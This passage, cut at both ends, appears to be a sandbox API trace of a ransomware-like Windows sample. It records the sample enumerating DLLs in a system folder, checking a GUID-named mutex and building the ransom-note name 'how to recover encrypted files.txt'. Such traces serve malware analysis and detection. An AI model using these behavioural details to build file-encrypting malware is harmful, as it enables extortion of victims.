cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.965] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dllc", lpUsedDefaultChar=0x0) returned 54 [0056.965] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadcor.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.965] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0056.965] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.965] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.966] GlobalUnlock (hMem=0x44000c) returned 0 [0056.966] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.966] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.966] GlobalUnlock (hMem=0x44000c) returned 0 [0056.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.966] GlobalUnlock (hMem=0x440004) returned 0 [0056.966] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.966] CharLowerBuffW (in: lpsz="msadcs.dll", cchLength=0xa | out: lpsz="msadcs.dll") returned 0xa [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll", lpUsedDefaultChar=0x0) returned 53 [0056.967] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadcs.dll", lpUsedDefaultChar=0x0) returned 4 [0056.967] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0056.967] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.967] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.967] GlobalLock (hMem=0x440004) returned 0x550170 [0056.967] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.967] GlobalUnlock (hMem=0x440004) returned 0 [0056.967] GlobalLock (hMem=0x440004) returned 0x550170 [0056.967] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.967] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.967] GlobalUnlock (hMem=0x440004) returned 0 [0056.967] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.967] GlobalUnlock (hMem=0x44000c) returned 0 [0056.967] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.967] CharLowerBuffW (in: lpsz="msadds.dll", cchLength=0xa | out: lpsz="msadds.dll") returned 0xa [0056.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", lpUsedDefaultChar=0x0) returned 53 [0056.968] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msadds.dll", lpUsedDefaultChar=0x0) returned 4 [0056.968] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0056.968] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.968] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.968] GlobalUnlock (hMem=0x44000c) returned 0 [0056.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.968] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.968] GlobalUnlock (hMem=0x44000c) returned 0 [0056.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.968] GlobalUnlock (hMem=0x440004) returned 0 [0056.968] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.969] CharLowerBuffW (in: lpsz="msaddsr.dll", cchLength=0xb | out: lpsz="msaddsr.dll") returned 0xb [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dllc", lpUsedDefaultChar=0x0) returned 54 [0056.969] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msaddsr.dllc", lpUsedDefaultChar=0x0) returned 4 [0056.969] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0056.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.969] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.970] GlobalLock (hMem=0x440004) returned 0x550170 [0056.970] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.970] GlobalUnlock (hMem=0x440004) returned 0 [0056.970] GlobalLock (hMem=0x440004) returned 0x550170 [0056.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.970] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.970] GlobalUnlock (hMem=0x440004) returned 0 [0056.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.970] GlobalUnlock (hMem=0x44000c) returned 0 [0056.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.970] CharLowerBuffW (in: lpsz="msdaprsr.dll", cchLength=0xc | out: lpsz="msdaprsr.dll") returned 0xc [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", lpUsedDefaultChar=0x0) returned 55 [0056.971] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlldc\\msdaprsr.dll", lpUsedDefaultChar=0x0) returned 4 [0056.971] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0056.971] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.971] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.971] GlobalLock (hMem=0x44000c) returned 